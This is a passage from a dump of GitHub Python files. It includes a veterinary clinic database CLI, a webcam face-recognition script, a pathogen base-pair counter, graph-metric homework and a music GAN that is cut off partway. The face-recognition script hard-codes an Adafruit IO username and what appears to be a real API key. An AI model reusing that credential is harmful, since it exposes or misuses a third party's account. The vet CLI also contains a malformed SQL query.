appointments:\n print(\"Номер обследования: {}\".format(app[3]))\n print(\"Дата и время: {}\".format(str(app[0])))\n print(\"Хозяин: {}\".format(app[1]))\n print(\"Кошка: {}\".format(app[2]))\n print(\"\")\n\ndef history():\n print(\"Введите кличку кошки: \", end=\"\")\n cat_name = input()\n print(\"Введите фамилию хозяина: \", end=\"\")\n last_name = input()\n\n records = execute_notrans(\n \"SELECT disease, start_date, end_date FROM cat_disease_history WHERE cat_id = (SELECT cat_id FROM cat, master WHERE cat.name = %s AND cat.master = master.login AND master.last_name = %s\", cat_name, last_name\n )\n\n print(\"История болезней:\")\n for rec in records:\n print(\"{}: \".format(rec[0]), end=\"\")\n print(\"с {}\".format(str(rec[1])), end=\"\")\n if rec[2] is not None:\n print(\" по {}\".format(str(rec[2])))\n else:\n print(\"\")\n\ndef examination():\n print(\"Введите номер обследования: \", end=\"\")\n exam_id = input()\n\n print(\"Введите диагноз (название болезни): \", end=\"\")\n disease = input()\n\n print(\"Введите состояние болезни (начало, продолжение, конец): \", end=\"\")\n disease_state = input()\n\n execute(\n \"UPDATE examination SET disease = %s, disease_state = %s WHERE examination_id = %s;\", disease, disease_state, exam_id\n )\n\ncommands = {\n \"помощь\" : [ print_help, \"Показать справку\" ],\n \"войти\" : [ log_in, \"Войти как хозяин питомца\" ],\n \"выйти\" : [ None, \"Закрыть программу\" ],\n \"приём\" : [ examination, \"Записать результаты обследования\" ],\n \"назначено\" : [ upcoming, \"Назначенные приёмы\" ],\n \"история\" : [ history, \"Просмотреть историю болезней кошки\" ]\n}\n\ndef execute(command):\n try:\n commands[command][0]()\n except:\n print(\"Неизвестная команда или ошибка выполнения\")\n\n\n","repo_name":"temafox/db_task6","sub_path":"vet_cmd.py","file_name":"vet_cmd.py","file_ext":"py","file_size_in_byte":3776,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17863920076","text":"from PIL import Image\nimport numpy as np\nimport cv2\nimport pickle\nimport requests\nfrom tensorflow.keras.models import load_model\n\n# Connect Adafruit\nimport random\nimport time\nimport sys\nfrom Adafruit_IO import MQTTClient\nfrom dotenv import load_dotenv\n\nAIO_FEED_ID = \"detect-raw\"\nADAFRUIT_IO_USERNAME = \"minhduco19\"\nADAFRUIT_IO_KEY = \"aio_ZSgw77S49MvARxR1AKGdywiukUVq\"\n\n\ndef connected(client):\n print(\"Ket noi thanh cong ...\")\n # for i in AIO_FEED_ID:\n client.subscribe(AIO_FEED_ID)\n\ndef subscribe(client , userdata , mid , granted_qos):\n print(\"Subscribe thanh cong ...\")\n\ndef disconnected(client):\n print(\"Ngat ket noi ...\")\n sys.exit (1)\n\ndef message(client , feed_id , payload):\n print(\"Nhan du lieu: \" + payload)\n\nclient = MQTTClient(ADAFRUIT_IO_USERNAME , ADAFRUIT_IO_KEY)\nclient.on_connect = connected\nclient.on_disconnect = disconnected\nclient.on_message = message\nclient.on_subscribe = subscribe\nclient.connect()\nclient.loop_background()\n\n# for face detection\nface_cascade = cv2.CascadeClassifier('./Model & Labels/haarcascade_frontalface_default.xml')\n\n# resolution of the webcam\nscreen_width = 1280 # try 640 if code fails\nscreen_height = 720\n\n# size of the image to predict\nimage_width = 224\nimage_height = 224\n\n# load the trained model\nmodel = load_model('./Model & Labels/face_rec.h5', compile = False)\n\n# the labels for the trained model\nwith open(\"./Model & Labels/face-labels.pickle\", 'rb') as f:\n og_labels = pickle.load(f)\n labels = {key:value for key,value in og_labels.items()}\n print(labels)\n\n# default webcam\nstream = cv2.VideoCapture(0)\n\n# Continuously capture frames from camera and detect faces\nflat = False\nres = \"Unknown;0\"\nstart_time = time.time()\n\nrec_flag = 0\nname = \"\"\n\nwhile(True):\n # Capture frame-by-frame\n (grabbed, frame) = stream.read()\n rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\n # try to detect faces in the webcam\n faces = face_cascade.detectMultiScale(rgb, scaleFactor=1.3, minNeighbors=5)\n\n # for each faces found\n for (x, y, w, h) in faces: \n roi_rgb = rgb[y:y+h, x:x+w]\n\n # Draw a rectangle around the face\n color = (255, 0, 0) # in BGR\n stroke = 2\n cv2.rectangle(frame, (x, y), (x + w, y + h), color, stroke)\n\n # resize the image\n size = (image_width, image_height)\n resized_image = cv2.resize(roi_rgb, size)\n image_array = np.array(resized_image, \"uint8\")\n img = image_array.reshape(1,image_width,image_height,3) \n img = img.astype('float32')\n img /= 255\n\n # predict the image\n predicted_prob = model.predict(img)\n\n # Display the label\n font = cv2.FONT_HERSHEY_SIMPLEX\n if predicted_prob[0].max() > 0.8:\n name = labels[predicted_prob[0].argmax()]\n print(name)\n disp = name + f'({predicted_prob[0][predicted_prob[0].argmax()]})'\n res = labels[predicted_prob[0].argmax()] + ';1'\n else:\n name = \"Unknown\"\n print(name)\n disp = name + f'({predicted_prob[0][predicted_prob[0].argmax()]})'\n res = \"Unknown;0\"\n color = (255, 0, 255)\n stroke = 2\n # cv2.putText(frame, f'({name})', (x,y-8),\n # font, 1, color, stroke, cv2.LINE_AA)\n\n # Show the frame\n cv2.imshow(\"Image\", frame)\n # Exit the loop if 'q' is pressed\n if cv2.waitKey(1) == ord(\"r\"):\n rec_flag = 1\n start_time = time.time()\n # while (time.time() - start_time <= 5):\n # pass\n if rec_flag == 1 and time.time() - start_time > 5:\n print(name)\n if name == \"Unknown\":\n print(\"Unable to find res within 5 seconds\")\n print(\"Cap nhat k oke\")\n client.publish(AIO_FEED_ID, f'{res}')\n else:\n time.sleep(2)\n url = \"https://dhabackend.onrender.com/newRecognition\"\n data = {\"name\": name, \"status\": 1}\n # requests.post(url, data=data)\n print(\"Cap nhat oke\")\n client.publish(AIO_FEED_ID, f'{res}')\n rec_flag = 0\n if cv2.waitKey(1) == ord(\"q\"):\n break\n\n# print(name)\n# if name == \"Unknown\":\n# print(\"Unable to find res within 5 seconds\")\n# print(\"Cap nhat k oke\")\n# client.publish(AIO_FEED_ID, f'{res}')\n# else:\n# time.sleep(2)\n# url = \"https://dhabackend.onrender.com/newRecognition\"\n# data = {\"name\": name, \"status\": 1}\n# # requests.post(url, data=data)\n# print(\"Cap nhat oke\")\n# client.publish(AIO_FEED_ID, f'{res}')\n\n# Cleanup\nstream.release()\ncv2.waitKey(1)\ncv2.destroyAllWindows()\ncv2.waitKey(1)\n","repo_name":"MauDucKG/DADN_TTNT_HK222_DHA","sub_path":"moduleAI/supervised/Midu's model/webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":4608,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"4600880456","text":"#!/usr/bin/python3\n\n\"\"\"\nProgram: \tcount_basepair_per_pathogen.py\nVersion: \t1.0\nAuthor:\t\tI.M. Gorter\nGoal:\t\tThis program counts for every pathogen the basepairs that have been aligned\n\n\"\"\"\n\n#imports\nimport glob\nfrom os.path import basename\n\n\ndef basepair_per_pathogen(f):\n\t\"\"\"\n\tThis function determines how many basepairs have been aligned per pathogen\n\t\"\"\"\n\t#basename of the file\n\tbn = basename(f)\n\t#creation of empty dictionary\n\tbpdict = {}\n\t\n\topenf = open(f, \"r\")\n\t\n\tfor line in openf:\n\t\t#the pathogen is the first element\n\t\tpathogen = line.split(\"\\t\")[0]\n\t\t#the aligned basepairs is the sixt element\n\t\tbasepair = int(line.split(\"\\t\")[5])\n\t\t#if the pathogen is not yet in the dictionary, add it with the basepairs\n\t\tif pathogen not in bpdict:\n\t\t\tbpdict[pathogen] = basepair\n\t\t#if the pathogen is in the dictionary, add the basepairs to the already existing basepairs\t\n\t\telse:\n\t\t\tbpdict[pathogen] += basepair\n\t\t\t\n\topenf.close()\t\t\n\t\n\t#open the outputfile\n\tnewf = open(\"/media/imgorter/6CEC0BDEEC0BA186/imgorter/barplot_data/Biopsy/pileup/bp_per_pathogen/\" + bn, \"w\")\n\t\n\t#for every pathogen-basepair combination, write to file\n\tfor bp in bpdict:\n\t\tnewf.write(bp + \"\\t\" + str(bpdict[bp]) + \"\\n\")\n\t\t\n\t\n\t\n\t\n\t\ndef main():\n\tfor f in glob.glob(\"/media/imgorter/6CEC0BDEEC0BA186/imgorter/barplot_data/Biopsy/pileup/*.txt\"):\n\t\tbasepair_per_pathogen(f)\n\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"iriszs/pathogen_pipeline","sub_path":"count_basepair_per_pathogen.py","file_name":"count_basepair_per_pathogen.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17266239704","text":"\"\"\"\nHW1 part1\n\"\"\"\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime as dt\nimport collections\nfrom collections import Counter\nimport math\nimport operator\nimport random\nimport networkx as nx\nfrom collections import deque\n\n\n# Necessary to run on the server, without display\n\n\nt = 1082791719\n\ngraph_by_time_file_name = 'graph_by_time.txt'\nuser1_column_name = 'user1'\nuser2_column_name = 'user2'\nts_column_name = 'ts'\n\nh_graph_file_name = 'h_graph.csv'\nh_graph_user1_column_name = 'user1'\nh_graph_user2_column_name = 'user2'\nh_graph_weight_column_name = 'weight'\n\nstrong_edge = \"s\"\nweak_edge = \"w\"\n\ndef nCk(n,k):\n if 0 < k and k <= n :\n f = math.factorial\n return ( f(n) / (f(k) * f(n-k)))\n return 0\n\ndef normalizing_dictionary_values(d):\n factor = 1.0 / sum(d.itervalues())\n for k in d:\n d[k] = d[k] * factor\n key_for_max = max(d.iteritems(), key=operator.itemgetter(1))[0]\n diff = 1.0 - math.fsum(d.itervalues())\n d[key_for_max] += diff\n return d\n\ndef read_graph_by_time_file():\n with open(graph_by_time_file_name) as f:\n df = pd.read_table(f, sep=' ', index_col=False, header=0, lineterminator='\\n')\n #df[ts_column_name] = df[ts_column_name].apply(lambda x: dt.fromtimestamp(x))\n df = df.sort_values(by=ts_column_name)\n return df\n\ndef get_graph_by_time_as_multiGraph(df):\n all_nodes_set = set(df[user1_column_name]) | set(df[user2_column_name])\n G = nx.MultiGraph()\n #for node in all_nodes_set:\n G.add_nodes_from(list(all_nodes_set))\n for index, row in df.iterrows():\n user1 = row[user1_column_name]\n user2 = row[user2_column_name]\n G.add_edge(user1, user2)\n return G\n\ndef get_all_graph_nodes(df):\n all_nodes_set = set(df[user1_column_name]) | set(df[user2_column_name])\n return all_nodes_set\n\ndef build_h_graph(df , nods):\n G = nx.Graph()\n G.add_nodes_from(list(nods))\n graph = {}\n for index, row in df.iterrows():\n user1 = row[user1_column_name]\n user2 = row[user2_column_name]\n user1_to_user2 = (user1, user2)\n user2_to_user1 = (user2, user1)\n if user1_to_user2 not in graph and user2_to_user1 not in graph:\n graph[user1_to_user2] = weak_edge\n G.add_edge(user1, user2 , weight=weak_edge)\n elif user2_to_user1 in graph:\n graph[user2_to_user1] = strong_edge\n G.add_edge(user1, user2, weight=strong_edge)\n\n return G\n\ndef build_h_graph_with_time(df , time):\n nodes = get_all_graph_nodes(df)\n filtered_df = df[ (df[ts_column_name] < time)] # get all samples that are lower that the given time\n return build_h_graph(filtered_df, nodes)\n\ndef get_h_sub_graph(H ,nodes , edge_weight ):\n edgeDataView = H.edges(data=True)\n list_of_strong_edges = []\n for edge_data in edgeDataView:\n node1 = edge_data[0]\n node2 = edge_data[1]\n weight = edge_data[2]['weight']\n if weight == edge_weight:\n list_of_strong_edges.append((node1, node2))\n G = nx.Graph()\n G.add_nodes_from(list(nodes))\n G.add_edges_from(list_of_strong_edges)\n return G\n\ndef compute_degree(G):\n degrees = {}\n for (node, val) in G.degree():\n degrees[node] = val\n return degrees\n\ndef compute_clustering_coefficiente(G):\n clustering_coefficiente = {}\n nodes = list(G.nodes())\n for x in nodes:\n clustering_coefficiente[x] = cc(x,G)\n return clustering_coefficiente\n\ndef cc(x, G):\n Ex = list(G.neighbors(x))\n num_of_neighbors = len(Ex)\n if num_of_neighbors < 2 :\n return 0\n up = 0\n for i in range(0,num_of_neighbors-1):\n for j in range(i+1, num_of_neighbors ):\n z = Ex[i]\n y = Ex[j]\n if G.has_edge(y,z):\n up = up + 1\n return float(up) / float(nCk(num_of_neighbors, 2))\n\ndef compute_closeness_centrality(G):\n closeness_centrality = {}\n nodes = nx.nodes(G)\n number_of_all_nodes = len(nodes)\n for node in nodes:\n sum = 0\n neighbors = nx.node_connected_component(G, node)\n for neighbor in neighbors:\n if neighbor != node:\n sum += nx.shortest_path_length(G, neighbor, node)\n n = len(neighbors)-1\n if n == 0:\n closeness_centrality[node] = 0\n continue\n closeness_centrality[node] = (n / (number_of_all_nodes-1)) * (n / sum)\n return closeness_centrality\n\ndef compute_betweenness_centrality(G):\n betweenness = {}\n nodes = list(G.nodes())\n num_of_nodes = len(nodes)\n\n for x in nodes:\n betweenness[x] = 0\n\n for i in range(0,num_of_nodes-1):\n for j in range(i+1, num_of_nodes ):\n s = nodes[i]\n t = nodes[j]\n try:\n shortest_paths = list(nx.all_shortest_paths(G, source=s, target=t))\n except nx.exception.NetworkXNoPath:\n continue\n number_of_shortest_paths = len(shortest_paths)\n if (number_of_shortest_paths == 0):\n continue\n for x in nodes:\n if ((s != x) and (t != x)):\n number_of_shortest_paths_include_x = 0\n for path in shortest_paths:\n if len(path) < 3 :\n continue\n if x in path:\n number_of_shortest_paths_include_x = number_of_shortest_paths_include_x + 1\n betweenness[x] = betweenness[x] + number_of_shortest_paths_include_x / number_of_shortest_paths\n factor = 1.0 / float(nCk(num_of_nodes-1,2))\n for node in nodes:\n betweenness[node] = factor * betweenness[node]\n\n return betweenness\n\ndef get_neighborhood_overlap(G):\n edges_no_overlap = {}\n edgeDataView = G.edges(data=True)\n for edge_data in edgeDataView:\n x = edge_data[0]\n y = edge_data[1]\n Ex = set(G.neighbors(x))\n Ey = set(G.neighbors(y))\n if len(Ex) == 0 or len(Ey) == 0:\n continue\n union = Ex | Ey\n intersection = Ex & Ey\n no_xy = float(len(intersection)) / float(len(union))\n edges_no_overlap[(x,y)] = no_xy\n return edges_no_overlap\n\n'''\nQuestion 2 parts 2.a-2.c\n'''\n\ndef H_features(time=t):\n nodes_feat_dict = {}\n df = read_graph_by_time_file()\n nodes = get_all_graph_nodes(df)\n H = build_h_graph_with_time(df, time)\n betweenness_centrality = compute_betweenness_centrality(H)\n degree = compute_degree(H)\n clustering_coeff = compute_clustering_coefficiente(H)\n closeness_centrality = compute_closeness_centrality(H)\n\n for node in nodes:\n nodes_feat_dict[node] = [degree[node], clustering_coeff[node], closeness_centrality[node], betweenness_centrality[node]]\n return nodes_feat_dict\n\n\"\"\"\nQuestion 3\n\"\"\"\n\n\ndef calc_no(time=t):\n df = read_graph_by_time_file()\n H = build_h_graph_with_time(df, time)\n edges_no_overlap = get_neighborhood_overlap(H)\n return edges_no_overlap\n\n'''\nQuestion 4\n'''\n\ndef stc_index(time=t):\n df = read_graph_by_time_file()\n nodes = get_all_graph_nodes(df)\n H = build_h_graph_with_time(df, time)\n G = get_h_sub_graph(H, nodes, strong_edge)\n nodes_stc_dict = {}\n for node in nodes:\n neighbors = list(G.neighbors(node))\n if( len(neighbors) == 0):\n nodes_stc_dict[node] = 0\n else:\n number_edges_between_strong_neighbors_of_node = 0\n for i in range(0,len(neighbors)-1):\n for j in range(i+1,len(neighbors)):\n n1 = neighbors[i]\n n2 = neighbors[j]\n if n1 != n2 and n1 != node and n2 != node and H.has_edge(n1,n2) :\n number_edges_between_strong_neighbors_of_node = number_edges_between_strong_neighbors_of_node + 1\n if number_edges_between_strong_neighbors_of_node == 0 :\n nodes_stc_dict[node] = 0\n else:\n nodes_stc_dict[node] = float(number_edges_between_strong_neighbors_of_node) / float(nCk( len(neighbors) , 2))\n return nodes_stc_dict\n\n######################################################\n","repo_name":"shimon1171/Ecommerce-Models","sub_path":"HW1/Submission/hw1_part1.py","file_name":"hw1_part1.py","file_ext":"py","file_size_in_byte":8150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"866073585","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # MScA Capstone\n# # GAN Model for Generating Music Samples with Midi Data\n# \n# ## Josh Goldberg, Rima Mittal, Terry Wang\n\n# Some sources considered for this version:\n# https://machinelearningmastery.com/how-to-train-stable-generative-adversarial-networks/\n# https://github.com/soumith/ganhacks\n# Generative Deep Learning by David Foster\n\n# In[16]:\n\n\nimport time\nimport os\nimport numpy as np\nimport pandas as pd\nfrom numpy.random import randn\nfrom numpy.random import randint\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, concatenate, BatchNormalization, Input\nfrom tensorflow.keras.layers import Reshape\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import Dropout, Softmax, LeakyReLU, ReLU\nfrom pretty_midi_musGen import PrettyMIDI, Instrument, Note\n# Note: need to install package mido before running this script\n# run this after running the model on the folder containing run files in case of need:\n# sudo chown -R [user name] [folder_name]\n# makes the user the owner of the run files\n\n# # Model v6\n\n# Issues from v5\n# 1) Loss from discriminator quickly goes to near 0\n# 2) Generator fails to convert loss into real learning\n# 3) Loss generally is too small to drive updates\n\n# Changes:\n# 1) New model architecture with with separate pitch and duration generators and discriminators\n# to keep loss separate\n\n# Future Changes:\n# 1) Weissenstein Loss instead of binary crossentropy\n# 2) Refine input data to only include one composer (Bach?)\n# 3) Change duration encoding to (start time, duration)\n# 4) Change generator structure, have dedicated pitch and dur generators each with own discriminator and loss\n# 5) Can potentially adopt LSTM structure for the generator(s)\n\n\n# Discriminator\ndef define_pitch_discriminator(in_shape=(20, 128)):\n \"\"\"\n Outputs a model for pitch discriminator\n :param in_shape: shape of input\n :return: a keras model\n \"\"\"\n # Sequence: Dense, BatchNorm, Activation, Dropout\n # https://stackoverflow.com/questions/39691902/ordering-of-batch-normalization-and-dropout\n model = Sequential()\n model.add(Input(in_shape))\n model.add(Flatten())\n model.add(Dense(256))\n model.add(BatchNormalization())\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dropout(0.5))\n model.add(Dense(256))\n model.add(BatchNormalization())\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dropout(0.3))\n # model.add(Dense(256))\n # model.add(BatchNormalization())\n # model.add(LeakyReLU(alpha=0.1))\n # model.add(Dropout(0.3))\n model.add(Dense(1, activation='sigmoid'))\n # compile model\n opt = Adam(lr=0.0002, beta_1=0.5)\n model.compile(loss='binary_crossentropy', optimizer=opt, metrics=['accuracy'])\n\n return model\n\n\ndef define_duration_discriminator(in_shape=(20, 2)):\n \"\"\"\n Outputs a model for duration discriminator\n :param in_shape: shape of input\n :return: a keras model\n \"\"\"\n # Sequence: Dense, BatchNorm, Activation, Dropout\n # https://stackoverflow.com/questions/39691902/ordering-of-batch-normalization-and-dropout\n model = Sequential()\n model.add(Input(in_shape))\n model.add(Flatten())\n model.add(Dense(256))\n model.add(BatchNormalization())\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dropout(0.3))\n model.add(Dense(256))\n model.add(BatchNormalization())\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dropout(0.3))\n # model.add(Dense(256))\n # model.add(BatchNormalization())\n # model.add(LeakyReLU(alpha=0.1))\n # model.add(Dropout(0.3))\n model.add(Dense(1, activation='sigmoid'))\n # compile model\n opt = Adam(lr=0.0002, beta_1=0.5)\n model.compile(loss='binary_crossentropy', optimizer=opt, metrics=['accuracy'])\n\n return model\n\n\n# Generator\ndef define_pitch_generator(latent_dim, dropout_rate, num_nodes):\n \"\"\"\n Outputs a pitch generator model\n :param latent_dim: Int, dimension of latent points aka how many random numbers you want to use as input\n :param dropout_rate: float between 0 and 1, dropout rate you give to the dropout layers\n :param num_nodes: Int, number of nodes in the dense layers\n :return: a keras model (output shape 20, 128)\n \"\"\"\n\n random_inputs = Input(shape=(latent_dim,))\n dense1 = Dense(num_nodes)(random_inputs)\n batchNorm1 = BatchNormalization()(dense1)\n activ1 = ReLU()(batchNorm1)\n dropout1 = Dropout(dropout_rate)(activ1)\n dense2 = Dense(num_nodes)(dropout1)\n batchNorm2 = BatchNormalization()(dense2)\n activ2 = ReLU()(batchNorm2)\n dropout2 = Dropout(dropout_rate)(activ2)\n\n pitch1 = Dense(num_nodes)(dropout2)\n pitch_bnorm1 = BatchNormalization()(pitch1)\n pitch_activ1 = ReLU()(pitch_bnorm1)\n pitch_dropoff1 = Dropout(dropout_rate)(pitch_activ1)\n pitch2 = Dense(num_nodes)(pitch_dropoff1)\n pitch_bnorm2 = BatchNormalization()(pitch2)\n pitch_activ2 = ReLU()(pitch_bnorm2)\n pitch_dropoff2 = Dropout(dropout_rate)(pitch_activ2)\n pitch = Dense(20 * 128)(pitch_dropoff2)\n\n pitch_reshaped = Reshape((20, 128))(pitch)\n\n pitch_output = Softmax(axis=-1)(pitch_reshaped)\n\n generator = Model(inputs=random_inputs, outputs=pitch_output)\n\n return generator\n\n\ndef define_duration_generator(latent_dim, dropout_rate, num_nodes):\n \"\"\"\n Outputs a duration generator model\n :param latent_dim: Int, dimension of latent points aka how many random numbers you want to use as input\n :param dropout_rate: float between 0 and 1, dropout rate you give to the dropout layers\n :param num_nodes: Int, number of nodes in the dense layers\n :return: a keras model (output shape 20, 2)\n \"\"\"\n\n random_inputs = Input(shape=(latent_dim,))\n dense1 = Dense(num_nodes)(random_inputs)\n batchNorm1 = BatchNormalization()(dense1)\n activ1 = ReLU()(batchNorm1)\n dropout1 = Dropout(dropout_rate)(activ1)\n dense2 = Dense(num_nodes)(dropout1)\n batchNorm2 = BatchNormalization()(dense2)\n activ2 = ReLU()(batchNorm2)\n dropout2 = Dropout(dropout_rate)(activ2)\n\n duration1 = Dense(num_nodes)(dropout2)\n dur_bnorm1 = BatchNormalization()(duration1)\n dur_activ1 = ReLU()(dur_bnorm1)\n dur_dropoff1 = Dropout(dropout_rate)(dur_activ1)\n duration2 = Dense(num_nodes)(dur_dropoff1)\n dur_bnorm2 = BatchNormalization()(duration2)\n dur_activ2 = ReLU()(dur_bnorm2)\n dur_dropoff2 = Dropout(dropout_rate)(dur_activ2)\n duration = Dense(20 * 2)(dur_dropoff2)\n\n duration_reshaped = Reshape((20, 2))(duration)\n duration_output = Dense(2, activation='relu', name='duration')(duration_reshaped)\n\n generator = Model(inputs=random_inputs, outputs=duration_output)\n\n return generator\n\n\n# Adversarial Model\ndef define_gan(generator, discriminator):\n \"\"\"\n Outputs a GAN model\n :param generator: the generator model\n :param discriminator: the discriminator model\n :return: a keras model\n \"\"\"\n # make weights in the discriminator not trainable\n discriminator.trainable = False\n model = Sequential()\n model.add(generator)\n model.add(discriminator)\n opt = Adam(lr=0.0002, beta_1=0.5)\n model.compile(loss='binary_crossentropy', optimizer=opt)\n return model\n\n\n# # Helper functions\ndef generate_real_samples(dataset, n_samples, label_smoothing, kind):\n \"\"\"\n Makes a batch of real 20-note music samples\n :param dataset: the dataset containing 20-note music samples (x, 20, 130)\n :param n_samples: number of samples to generate\n :param label_smoothing: boolean, if true, real samples labeled as slightly less than 1 (0.9 for now)\n :param kind: string, either \"pitch\" or \"duration\"\n :return: training samples and target variable (set as 1 for real samples)\n \"\"\"\n ix = randint(0, dataset.shape[0], n_samples)\n if kind == \"pitch\":\n # take last 128 columns for pitch\n X = dataset[ix][:, :, 2:]\n if label_smoothing:\n # add stochastic noise\n y = np.ones((n_samples, 1)) - np.random.uniform(0.0, 0.1, (n_samples, 1))\n else:\n y = np.ones((n_samples, 1))\n return X, y\n elif kind == \"duration\":\n X = dataset[ix][:, :, :2]\n if label_smoothing:\n # add stochastic noise\n y = np.ones((n_samples, 1)) - np.random.uniform(0.0, 0.1, (n_samples, 1))\n else:\n y = np.ones((n_samples, 1))\n return X, y\n elif kind == \"both\":\n X_pitch = dataset[ix][:, :, 2:]\n X_dur = dataset[ix][:, :, :2]\n if label_smoothing:\n # add stochastic noise\n y = np.ones((n_samples, 1)) - np.random.uniform(0.0, 0.1, (n_samples, 1))\n else:\n y = np.ones((n_samples, 1))\n return X_dur, X_pitch, y\n\n\ndef generate_latent_points(latent_dim, n_samples):\n \"\"\"\n makes arrays of random numbers of the right shape for the generator\n :param latent_dim: dimension of latent points, need to be the same as the generator's\n :param n_samples: number of samples you want to generate\n :return: a numpy array\n \"\"\"\n # 'n_samples' vectors of 'latent_dim' standard normal numbers each\n x_input = randn(latent_dim * n_samples)\n # reshape into a batch of inputs for the network\n x_input = x_input.reshape(n_samples, latent_dim)\n return x_input\n\n\ndef generate_fake_samples(pitch_generator, dur_generator, latent_dim, n_samples, kind):\n \"\"\"\n makes fake samples using the generator\n :param generator: a keras model\n :param latent_dim: dimension of latent points, need to be the same as the generator's\n :param n_samples: number of samples you want to generate\n :param kind: str, \"concat\" or \"separate\"\n :return: training samples and target variable (set as 0 for fake samples)\n \"\"\"\n # generate points in latent space\n x_input = generate_latent_points(latent_dim, n_samples)\n if kind == \"concat\":\n # predict fake music\n duration = dur_generator.predict(x_input)\n pitches = pitch_generator.predict(x_input)\n pitches = np.eye(128)[np.argmax(pitches, axis=-1)]\n X = np.concatenate((duration, pitches), axis=-1)\n y = np.zeros((n_samples, 1)) # label them as zeros\n return X, y\n elif kind == \"separate\":\n # predict fake music\n duration = dur_generator.predict(x_input)\n pitches = pitch_generator.predict(x_input)\n pitches = np.eye(128)[np.argmax(pitches, axis=-1)]\n y = np.zeros((n_samples, 1))\n return duration, pitches, y\n\n\ndef make_pred(generator, latent_dim, num_samples):\n \"\"\"\n Makes a prediction using the generator\n :param generator: a keras model\n :param latent_dim: dimension of latent points, need to be the same as the generator's\n :param num_samples: number of samples you want to generate\n :return: a numpy array\n \"\"\"\n\n gen_sample = generator.predict(generate_latent_points(latent_dim, num_samples))\n duration = gen_sample[:,:,:2]\n pitches = np.eye(128)[np.argmax(gen_sample[:,:,2:], axis=-1)]\n pred = np.concatenate((duration, pitches), axis=-1)\n\n return pred\n\n\ndef make_assembled_pred(pitch_gen, dur_gen, latent_dim, n_samples):\n \"\"\"\n Make a prediction from assembled outputs of pitch and duration generators\n :param pitch_gen: keras model, pitch generator\n :param dur_gen: keras model, duration generator\n :param latent_dim: int, number of latent dims needed for both generators\n :param n_samples: int, number of samples to generate\n :return: a numpy array\n \"\"\"\n\n # Get latent points\n x_input = generate_latent_points(latent_dim, n_samples)\n # Generate pitch and duration\n duration = dur_gen.predict(x_input)\n pitch = pitch_gen.predict(x_input)\n # Take the highest value for pitch\n pitch = np.eye(128)[np.argmax(pitch, axis=-1)]\n # concat for output\n pred = np.concatenate((duration, pitch), axis=-1)\n\n return pred\n\n\ndef make_midi(pred, write_file_name):\n \"\"\"\n Makes a midi file from a numpy array\n :param pred: a numpy array of shape (1, 20, 130) (can only process one sample at a time)\n :param write_file_name: location and name of the file you want to write\n :return: nothing, writes a midi file to specified location\n \"\"\"\n midi = PrettyMIDI()\n notes = np.argmax(pred[0,:,2:], axis=-1)\n instr = Instrument(0, name = 'Piano')\n for idx, note in enumerate(notes):\n note_to_add = Note(velocity=100, pitch=int(note), start=min(pred[0,idx,0], pred[0,idx,1]), end=max(pred[0,idx,0], pred[0,idx,1]))\n instr.notes.append(note_to_add)\n midi.instruments.append(instr)\n midi.write(write_file_name)\n\n\n# # Model Training\ndef train(g_pitch_model, g_dur_model, d_pitch_model, d_dur_model, gan_pitch_model, gan_dur_model, dataset, latent_dim,\n n_epochs=100, n_batch=128):\n \"\"\"\n GAN training script\n :param g_pitch_model: keras model, pitch generator\n :param g_dur_model: keras model, duration generator\n :param d_pitch_model: keras model, pitch discriminator\n :param d_dur_model: keras model, duration discriminator\n :param gan_pitch_model: keras model, pitch GAN\n :param gan_dur_model: keras model, duration GAN\n :param dataset: numpy array, real samples\n :param latent_dim: int, latent dim as generator input\n :param n_epochs: int, number of epochs for train\n :param n_batch: int, number of batches per epoch. This actually is the number of real samples fed into the model\n :return: nothing\n\n Also note, n_batch also controls how many real/fake samples will be seen per epoch.\n The way the code is written, the discriminator will see n_batch number of samples per epoch, half fake and half real\n GAN model will receive 2 times n_batch number of samples per epoch\n So you will not see all of the data per epoch (the usual definition of an epoch)\n The name can be a bit confusing there\n \"\"\"\n\n # generator model weights, sample output and loss history saved to timestamped folder\n # dataframe for recording history\n df_history = pd.DataFrame(columns=[\"epoch\", \"batch\", \"d_dur_loss_real\", \"d_dur_loss_fake\", \"d_pitch_loss_real\",\n \"d_pitch_loss_fake\", \"g_dur_loss\", \"g_pitch_loss\"])\n df_history.to_csv(ts_str + '/loss_history.csv', index=False)\n # batches per epoch\n bat_per_epo = int(dataset.shape[0] / n_batch)\n real_batch = int(n_batch / 2)\n fake_batch = n_batch - real_batch\n # manually enumerate epochs\n for i in range(n_epochs):\n # enumerate batches over the training set\n for j in range(bat_per_epo):\n # get half_batch randomly selected real samples\n X_dur_real, X_pitch_real, y_real = generate_real_samples(dataset, real_batch, False, \"both\")\n # update weights of discriminator model on real duration samples\n d_dur_loss1, _ = d_dur_model.train_on_batch(X_dur_real, y_real)\n # update weights of discriminator model on real pitch samples\n d_pitch_loss1, _ = d_pitch_model.train_on_batch(X_pitch_real, y_real)\n # generate fake samples\n X_dur_fake, X_pitch_fake, y_fake = generate_fake_samples(g_pitch_model, g_dur_model, latent_dim, fake_batch,\n \"separate\")\n # update discriminator model weights on fake samples\n d_dur_loss2, _ = d_dur_model.train_on_batch(X_dur_fake, y_fake)\n d_pitch_loss2, _ = d_pitch_model.train_on_batch(X_pitch_fake, y_fake)\n # train GAN\n for _ in range(2):\n # prepare points in latent space as input for the generator\n # In this case we strictly use the same latent points for both dur and pitch\n X_gan = generate_latent_points(latent_dim, n_batch)\n # label fake samples as ones to train generator\n y_gan = np.ones((n_batch, 